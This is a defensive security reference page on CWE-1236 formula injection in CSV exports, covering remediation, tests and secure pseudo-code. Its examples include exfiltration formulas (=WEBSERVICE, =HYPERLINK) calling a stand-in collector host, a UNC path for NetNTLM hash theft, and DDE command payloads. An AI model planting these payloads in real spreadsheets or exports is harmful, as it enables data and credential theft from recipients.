Skip to content

CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Overview

Formula Injection (also known as CSV Injection or Excel Injection) occurs when untrusted data beginning with a formula metacharacter (=, +, -, @, tab, carriage return, line feed) is exported to spreadsheet files (CSV, Excel, etc.) without sanitization. Spreadsheet applications read a leading =, +, - or @ as the start of a formula and evaluate the cell when the file is opened, so an exported value becomes an expression running on the recipient's machine instead of text on a page. Tab, carriage return, and line feed earn their place on the list for a different reason, covered in the remediation steps below.

Relationship to Other CWEs

Report a formula-injection finding here. Its parent, CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component), is the injection family as a whole and too abstract to act on, and CWE-1236 has no children to drop to.

What separates it from its siblings is where the output is interpreted:

  • CWE-1236 (this page) - the downstream component is a spreadsheet application on someone else's machine, reading a leading =, +, - or @ as the start of a formula. Nothing runs on your server, which is why the weakness survives a security review that only looks at the application
  • CWE-79 (Cross-site Scripting) - the sibling whose fix does not transfer. Both neutralize untrusted data for a downstream interpreter, but HTML encoding a value does nothing to a cell a spreadsheet is about to evaluate, and the escaping this page needs would be meaningless in a page

OWASP Classification

A05:2025 - Injection

Risk

High: Formula injection turns an export into code the recipient's spreadsheet evaluates rather than text it displays. On a current, default-configured Excel the realistic outcomes are data exfiltration and credential theft: =WEBSERVICE("http://collector.example/?d="&A1) sends cell contents to an attacker-controlled URL once the recipient leaves Protected View and allows external content, =HYPERLINK(...) does the same on a click, and a formula referencing a UNC path such as \\collector.example\share\x makes Windows authenticate to the attacker's SMB server and leak the user's NetNTLM hash. Remote code execution through DDE (=cmd|'/c calc'!A1) needs either DDE re-enabled or the recipient clicking through the warning prompts. Microsoft Security Advisory 4053440 shipped the Word control in December 2017 and the Excel one in January 2018, and DDE server launch is blocked by default in current Excel builds, gated behind the Trust Center's external-content settings. Treat it as the worst case rather than the expected one. Spreadsheets are shared and opened without much thought in enterprise environments, which is what makes this worth fixing at the export rather than at the desktop.

Remediation Steps

Core Principle: Treat spreadsheet/CSV exports as input to an interpreter: neutralize formula prefixes (=,+,-,@) in untrusted cells.

Locate the Spreadsheet Export Functionality

Find where untrusted data enters - user input, external files, databases, network requests - and follow it to the code that generates the CSV, Excel, or other spreadsheet file. Then work out which cells in that export carry it.

Sanitize All Spreadsheet Cell Content

Neutralize untrusted values before they are written to cells:

  • Prepend a single quote. A leading ' makes Excel treat the rest of the cell as literal text. Two limitations come with it. OWASP notes that the quote-based techniques are not reliable in Excel once the CSV has been saved and re-opened, and the apostrophe becomes part of the value for every other consumer - a re-import, a database load, or a downstream parser will all see it. Strip the prefix again on any path that reads the export back in
  • Or quote the field and lead with a tab character (0x09). That survives Excel's save-and-reopen cycle where the apostrophe does not. The tab persists as data in the same way, so the round-trip caveat still applies
  • Escape the formula metacharacters rather than deleting them. The triggers are a leading =, +, -, @, tab (0x09), carriage return (0x0D), and line feed (0x0A) - OWASP's list. The two line-break characters are on it structurally rather than as operators: written into an unquoted field, a CR or LF ends the record, so a value consisting of a line feed followed by =1+1 exports as an unremarkable cell and re-imports as a new row whose first cell is =1+1. Deleting any of these corrupts legitimate values - -5 becomes 5, @handle becomes handle - so prefer a prefix that preserves what the user actually entered. OWASP's list also carries the full-width (double-byte) forms of the four operator characters, which it notes may be interpreted as formulas in some locales, Japanese environments in particular; include them in the check if your exports carry CJK text
  • Trim leading spaces before the check, or a value such as " =1+1" slips past a test that only looks at character zero. Trim spaces only - tab, carriage return, and line feed are triggers in their own right, so a blanket whitespace trim discards the marker you are testing for
  • Sanitize every cell carrying data from an untrusted source, not only the obvious free-text columns

Do Not Expect a CSV Library to Neutralize Formulas

A CSV writer's escaping covers the delimiter, the quote character, and embedded newlines - the things that would otherwise corrupt the file's structure. None of it touches formula prefixes. Python's csv.writer, OpenCSV, and PapaParse all write =cmd|'/c calc'!A1 into the file unchanged, quoting it only if it happens to contain a comma or a quote character, and neither form stops Excel reading the cell as a formula. Quoting is not a defense against this weakness.

  • Keep the writer for correct quoting and delimiter handling, and apply the cell-level neutralization above to every untrusted value before handing it over
  • Don't build CSV with string concatenation either. A value containing a comma, a quote, or a newline breaks the file structure. That is a real correctness problem worth fixing, and fixing it does nothing about formula injection
  • If you adopt a library that advertises formula protection, confirm it writes a prefix character for values beginning =, +, -, @, tab, CR, or LF, rather than assuming the feature exists because the documentation mentions escaping

Serve the Download Correctly

None of this stops a spreadsheet application evaluating a cell. The MIME type governs how the browser handles the response, not how Excel parses the file, and there is no CSV file property that marks content unsafe. Get the response right for correctness, and do not count it as a control:

  • Set Content-Type: text/csv and an explicit Content-Disposition: attachment; filename="...". This stops the browser rendering or content-sniffing the response as something else, and gives the file a predictable name and extension
  • Where the export carries user-submitted data, say so on the page that offers it. An in-page note is honest about residual risk, and it is not a substitute for sanitizing the cells

Validate and Monitor Exports

Sanitizing the cells is the fix; these sit behind it:

  • Log what was exported and by whom
  • Alert when formula characters turn up in export data, so an attempt is visible even though the export itself was safe
  • For enumerated data, validate against a list of known-good values

Test with Formula Injection Payloads

Submit the payload into the field that feeds the export, download the file, and open it in the spreadsheet application your users actually use. Assert on what the cell displays, not on what the file contains:

  • Formula starters: submit =1+1, +1+1, -1+1, @SUM(A1:A10). Open the export in Excel and confirm each cell displays the literal text that was submitted, not 2 or a computed total
  • Exfiltration payloads: submit =HYPERLINK("http://collector.example/?d="&A1,"click me") and =WEBSERVICE("http://collector.example/?d="&A1). Confirm the cell shows literal text and that no request arrives at a listener you control. Both are gated behind Protected View and an external-content prompt, so run the check again with editing and content enabled - that is the state a trusting recipient will be in
  • UNC credential leak: submit a formula referencing \\collector.example\share\x and confirm no SMB authentication attempt reaches a listener on that host
  • DDE: =cmd|'/c notepad'!A1 launches nothing on a default-configured Excel. Keep it in the suite, but a pass here proves nothing unless DDE was deliberately re-enabled for the test
  • Obfuscation: submit the same payloads with a leading space, a leading tab (0x09), a leading carriage return (0x0D), and a leading line feed (0x0A), and confirm they are still neutralized. For the two line-break characters, assert on the shape of the file as well as the cell: the export must still contain one row per record, not an extra row whose first cell holds the payload
  • Save and reopen: save the file from Excel, close it, reopen it, and confirm the cells still display literal text - the apostrophe prefix does not reliably survive that round trip
  • Normal data: confirm legitimate values beginning with a trigger character - -5, +44 20 7946 0000, @handle - still export and re-import with the value the user entered

Common Vulnerable Patterns

Untrusted text is written into a cell exactly as it arrived, and nothing between the database and the download inspects the first character:

// VULNERABLE - pseudo-code
rows = db.query("SELECT display_name, notes FROM contacts")
for row in rows:
    csv.write_row([row.display_name, row.notes])    // written verbatim
serve_download(csv, "contacts.csv")
// Attack: display_name was registered as =WEBSERVICE("http://collector.example/?d="&A1)
// Result: the recipient's Excel resolves the formula and sends cell A1 to the attacker

Why this is vulnerable: The CSV writer produces a well-formed file, so nothing in the pipeline complains. The sink is not the file; it is the spreadsheet application on the recipient's machine, which reads a leading =, +, -, or @ as an instruction rather than as text. The attacker never needs access to the export or to the person who downloads it, only a field that eventually lands in one - which is why a display name registered months earlier is a realistic source.

Secure Patterns

// SECURE - pseudo-code
function neutralize_cell(value):
    text  = string(value)
    probe = strip_leading_spaces(text)   // spaces only - TAB and CR are triggers, not padding
    if probe starts with any of ["=", "+", "-", "@", TAB, CR, LF]:
        return "'" + text                // prefix the original value, unaltered
    return text

rows = db.query("SELECT display_name, notes FROM contacts")
for row in rows:
    csv.write_row([neutralize_cell(row.display_name), neutralize_cell(row.notes)])
serve_download(csv, "contacts.csv", content_type="text/csv")

Why this works: The check runs over every untrusted cell rather than the columns someone remembered to worry about, and it tests against a copy with leading spaces discounted, so " =1+1" is caught alongside =1+1. The prefix goes on the original string, so a tab, carriage return, or line feed that triggered the check is still there in the exported value rather than trimmed away. It makes the cell a string constant before any spreadsheet application parses it, which is the only point at which a formula could otherwise begin. Two consequences to carry forward: the prefix becomes part of the value for anything that reads the file back, so strip it on import, and where the export has to survive being saved and re-opened in Excel, quote the field and lead with a tab character instead of the apostrophe.

Additional Resources